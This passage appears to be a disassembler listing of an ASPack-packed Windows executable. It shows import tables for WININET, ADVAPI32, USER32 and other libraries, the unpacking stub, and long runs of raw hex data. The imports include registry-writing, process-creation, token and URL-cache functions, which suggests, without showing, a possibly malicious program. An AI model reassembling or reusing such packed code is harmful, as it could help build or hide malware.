646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h dd 6F725074h, 64644163h, 73736572h, 0 dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0 dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah dd 6D655474h, 74615070h, 4168h, 654701A4h, 63695474h, 756F436Bh dd 746Eh, 654701ACh, 72655674h, 6E6F6973h, 0 dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6C4701BAh, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh dd 6F6D654Dh, 74537972h, 73757461h, 0 dd 6E4901EBh, 6C726574h, 656B636Fh, 636E4964h, 656D6572h dd 746Eh, 734901F1h, 52646142h, 50646165h, 7274h, 734901F4h dd 57646142h, 65746972h, 727450h, 734901F7h, 75626544h dd 72656767h, 73657250h, 746E65h, 6F4C0203h, 694C6461h dd 72617262h, 4179h, 6F430033h, 69467970h, 41656Ch, 6F4C0209h dd 416C6163h, 636F6C6Ch, 0 dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h dd 41786574h, 0 dd 704F0232h, 72506E65h, 7365636Fh, 73h, 6552025Ch, 69466461h dd 656Ch, 74520278h, 776E556Ch, 646E69h, 74520279h, 72655A6Ch dd 6D654D6Fh, 79726Fh, 72430042h, 65746165h, 656C6946h dd 41h, 655302A8h, 6C694674h, 696F5065h, 7265746Eh, 0 dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h dd 655402E4h, 6E696D72h, 50657461h, 65636F72h, 7373h, 695602FEh dd 61757472h, 6C6C416Ch, 636Fh, 69560300h, 61757472h, 6572466Ch dd 65h, 69560305h, 61757472h, 6575516Ch, 7972h, 69570311h dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 65h, 69570312h dd 6578456Eh, 63h, 7257031Dh, 46657469h, 656C69h, 7243004Fh dd 65746165h, 6574754Dh, 4178h, 736C0345h, 656C7274h, 416Eh dd 736C0346h, 656C7274h, 576Eh, 72430054h, 65746165h, 636F7250h dd 41737365h, 0 dd 7243005Ah, 65746165h, 65726854h, 6461h, 61430063h, 69576C6Ch dd 776F646Eh, 636F7250h, 41h, 6547006Ch, 6E695774h, 54776F64h dd 41747865h, 0 dd 65470073h, 6E695774h, 52776F64h, 746365h, 69460078h dd 6957646Eh, 776F646Eh, 41h, 6547007Ch, 6E695774h, 776F64h dd 65470011h, 616C4374h, 614E7373h, 41656Dh, 655300CFh dd 636F4674h, 7375h, 654700D4h, 726F4674h, 6F726765h, 57646E75h dd 6F646E69h, 77h, 6F4C0019h, 75436461h, 726F7372h, 41h dd 6553010Ah, 6D695474h, 7265h, 6F4C001Bh, 63496461h, 416E6Fh dd 654D0140h, 67617373h, 786F4265h, 41h, 65470023h, 73654D74h dd 65676173h, 41h, 65470169h, 6E695774h, 4C776F64h, 41676E6Fh dd 0 dd 6553016Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0 dd 7243016Eh, 65746165h, 6B736544h, 41706F74h, 0 dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540027h, 6C736E61h dd 4D657461h, 61737365h, 6567h, 69440028h, 74617073h, 654D6863h dd 67617373h, 4165h, 737701FBh, 6E697270h, 416674h, 65530034h dd 654D646Eh, 67617373h, 4165h, 65520005h, 74736967h, 6C437265h dd 41737361h, 0 dd 6F500041h, 75517473h, 654D7469h, 67617373h, 65h, 6853004Fh dd 6957776Fh, 776F646Eh, 0 dd 72430053h, 65746165h, 646E6957h, 7845776Fh, 41h, 65440055h dd 6F727473h, 6E695779h, 776F64h, 6F4D005Ah, 69576576h dd 776F646Eh, 0 dd 65440061h, 6E695766h, 50776F64h, 41636F72h, 0 dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0 dd 655300CAh, 436B4274h, 726F6C6Fh, 0 dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h dd 6E65h, 6547001Ah, 6B6F5474h, 6E496E65h, 6D726F66h, 6F697461h dd 6Eh, 65520173h, 65724367h, 4B657461h, 78457965h, 41h dd 65520176h, 6F6C4367h, 654B6573h, 79h, 6552017Bh, 65704F67h dd 79654B6Eh, 417845h, 65520186h, 65755167h, 61567972h dd 4565756Ch, 4178h, 65520192h, 74655367h, 756C6156h, 41784565h dd 0 dd 654701CCh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CFh dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D6h, 746E4574h dd 73656972h, 63416E49h, 416Ch, 6547004Ah, 64695374h, 6E656449h dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh dd 64695374h, 41627553h, 6F687475h, 79746972h, 0 dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0 dd 735F01A6h, 63697274h, 706Dh, 626101F6h, 73h, 7865020Ah dd 7469h, 656D0253h, 706D636Dh, 0 dd 656D0254h, 7970636Dh, 0 dd 656D0256h, 7465736Dh, 0 dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h dd 0 dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h dd 666E6163h, 0 dd 74730271h, 74616372h, 0 dd 74730272h, 72686372h, 0 dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh dd 0 dd offset off_448000 aWininet_dll db 'WININET.DLL',0 dd offset off_448014 dd offset off_448014 aOle32_dll db 'ole32.DLL',0 align 4 dd offset off_448028 dd offset off_448028 dd offset off_448028 dd offset off_448028 aKernel32_dll_1 db 'KERNEL32.dll',0 align 4 dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C aUser32_dll_0 db 'USER32.DLL',0 align 4 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 aGdi32_dll db 'GDI32.DLL',0 align 4 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 align 4 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 aCrtdll_dll db 'CRTDLL.DLL',0 align 4 dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C align 1000h _idata ends ; Section 5. (virtual address 0004A000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0004A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _aspack segment para public 'DATA' use32 assume cs:_aspack ;org 44A000h db 90h ; =============== S U B R O U T I N E ======================================= public start start proc near pusha call sub_44A577 jmp short loc_44A055 ; --------------------------------------------------------------------------- align 4 dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0) dd 4A00001h, 0AD000000h, 0AB000000h, 809A5100h, 809AE47Ch dd 7Ch, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_44A055: ; CODE XREF: start+6j mov ebx, offset dword_4439A4 add ebx, ebp sub ebx, ss:dword_4439D5[ebp] cmp ss:dword_444804[ebp], 0 mov ss:dword_444804[ebp], ebx jnz loc_44A4DB lea eax, dword_44480C[ebp] push eax call ss:dword_444918[ebp] mov ss:dword_444808[ebp], eax mov edi, eax lea ebx, dword_444819[ebp] push ebx push eax call ss:dword_444914[ebp] mov ss:dword_4439E1[ebp], eax lea ebx, dword_444826[ebp] push ebx push edi call ss:dword_444914[ebp] mov ss:dword_4439E5[ebp], eax lea eax, dword_443B72[ebp] jmp eax ; --------------------------------------------------------------------------- align 10h dd 40h, 2 dup(0) dd 80000000h, 12190004h, 2 dup(0) dd 10000000h, 0BC980000h, 0C0000000h, 0BBCC0003h, 80000000h dd 10540004h, 36h dup(0) dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h dd 4468B00h, 10E05h, 68046A00h, 1000h, 0FF006A50h, 4439E195h dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh dd 76FF0044h, 0E8535004h, 339h, 39D4BD80h, 75000044h, 0D485FE5Ch dd 8B004439h, 4BD033Eh, 0FF004448h, 0C307C637h, 78FD7FFh dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h dd 4439D9B5h, 2F9C100h, 0C88BA5F3h, 0F303E183h, 685EA4h dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h dd 3FB8316h, 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h, 3107E8Bh dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h dd 3047580h, 534343DAh, 0FFFFE381h, 0FF537FFFh, 4439B1B5h dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h dd 468B5716h, 485030Ch, 50004448h, 0D0858D53h, 50004448h dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h, 890689FFh dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_44A4DB: ; CODE XREF: start+6Ej mov eax, ss:dword_443A76[ebp] push eax add eax, ss:dword_444804[ebp] pop ecx or ecx, ecx mov ss:dword_443EA1[ebp], eax popa jnz short loc_44A4FC mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_44A4FC: ; CODE XREF: start+4F1j push offset sub_401219 retn start endp ; --------------------------------------------------------------------------- aLeHd db '‹…',8,'HD',0 aNnahd db 'AHD',0 dw 5051h dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h dd 44491495h, 0F1858900h, 8B004439h, 44484D85h, 688D8D00h dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h, 8D306A5Fh dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h, 0ED95FFFFh db 39h, 44h, 0 ; =============== S U B R O U T I N E ======================================= sub_44A577 proc near ; CODE XREF: start+1p mov ebp, [esp+0] sub ebp, offset byte_4439AB retn sub_44A577 endp ; --------------------------------------------------------------------------- db 8Bh, 44h, 24h dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah dd 354C481h, 8BC30000h, 0C4812404h, 354h, 10C2h, 4030201h dd 8070605h, 100E0C0Ah, 201C1814h, 40383028h, 80706050h dd 0E0C0A0h, 0 dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah dd 8B084289h, 47A89C7h, 0D273C13Bh, 4728B5Bh, 8B08428Bh dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h dd 84h, 7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h, 0FF81F803h dd 1000000h, 24247C89h, 8E870Fh, 448B0000h, 7D892834h dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h, 758B4D7Ch dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h, 0CE8B10EEh dd 0FF25h, 3CB2B00h, 8BD88AFBh, 89FB8AD1h, 8B1C2474h, 24748BC3h dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h dd 98h, 8B0004C2h, 8482h, 85C93300h, 8B3B76C0h, 0AC24B4h dd 48A0000h, 74C08431h, 88BA8B22h, 25000000h, 0FFh, 6884448Bh dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h, 0F9830450h dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch, 0D21B2846h dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h, 0EB000000h dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h dd 8904428Dh, 440C708h, 20h, 89104289h, 0A082h, 30828900h dd 89000001h, 1C082h, 0B9C03300h, 0BDh, 2508289h, 82890000h dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h, 11F88336h dd 36A0E75h, 86E8CD8Bh, 83FFFFFBh, 0CEB03C0h, 0CD8B076Ah dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h dd 5B5D5E5Fh, 30CC481h, 8DC30000h, 2F52484h, 8B8D0000h dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h dd 1E8C300h, 90000000h, 5BEE815Eh, 0C3004445h, 8B14EC83h dd 531C2444h, 0C75655h, 0 dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh dd 50000h, 8BFFFFFFh, 7E083E8h, 8D03EDC1h, 0F8830250h dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh, 443FABh dd 8F9835Eh, 4E8B3272h, 41118A04h, 18245488h, 8B044E89h dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh dd 8B90C56h, 2B000000h, 0D3FB03CFh, 18B9EAh, 7E890000h dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h dd 8F883FDh, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B1C24h, 4468908h, 1C24448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 7E8B0846h dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh dd 0FFFFFFh, 8E8DEFD3h, 130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch dd 8087E83h, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B2024h, 4468908h, 2024448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 468B0856h dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh, 85000002h dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h dd 250968Bh, 4B8D0000h, 588689FDh, 89000002h, 25496h, 508E8900h dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h, 0B05D5E5Fh dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0 dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h, 6C6C642Eh dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h dd 69784500h, 6F725074h, 73736563h, 0 dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80ADA0h dd 7C80B6A1h, 7C801D77h, 0 aKernel32_dll_2 db 'kernel32.dll',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 align 10h aGetmodulehandl db 'GetModuleHandleA',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 3 dup(0) dd 4AF80h, 4AF70h, 3 dup(0) dd 4B074h, 4B0C4h, 3 dup(0) dd 4B081h, 4B0CCh, 3 dup(0) dd 4B08Dh, 4B0D4h, 3 dup(0) dd 4B097h, 4B0DCh, 3 dup(0) dd 4B0A2h, 4B0E4h, 3 dup(0) dd 4B0ACh, 4B0ECh, 3 dup(0) dd 4B0B9h, 4B0F4h, 5 dup(0) aOleaut32_dll db 'oleaut32.dll',0 aWininet_dll_0 db 'wininet.dll',0 aOle32_dll_0 db 'ole32.dll',0 aUser32_dll_1 db 'user32.dll',0 aGdi32_dll_0 db 'gdi32.dll',0 aAdvapi32_dll_1 db 'advapi32.dll',0 aCrtdll_dll_0 db 'crtdll.dll',0 dd 77124C05h, 0 aB_2 db '=ÞÂB',0 align 4 dd 774FFAC3h, 0 dd 7E41F642h, 0 dd 77F161D1h, 0 aSwW db 'SwÝw',0 align 4 aIoS db 'ëoÙs',0 align 4 db 0 align 2 aSysallocstring db 'SysAllocString',0 db 2 dup(0), 46h aIndfirsturlcac db 'indFirstUrlCacheEntryA',0 align 4 dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 6C6C6143h dd 646E6957h, 7250776Fh, 41636Fh, 65470000h, 6F745374h dd 624F6B63h, 7463656Ah, 4F000000h, 506E6570h, 65636F72h dd 6F547373h, 6E656Bh, 695F0000h, 616F74h, 3A2h dup(0) _aspack ends ; Section 7. (virtual address 0004D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0004D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 44D000h align 2000h _idata2 ends end start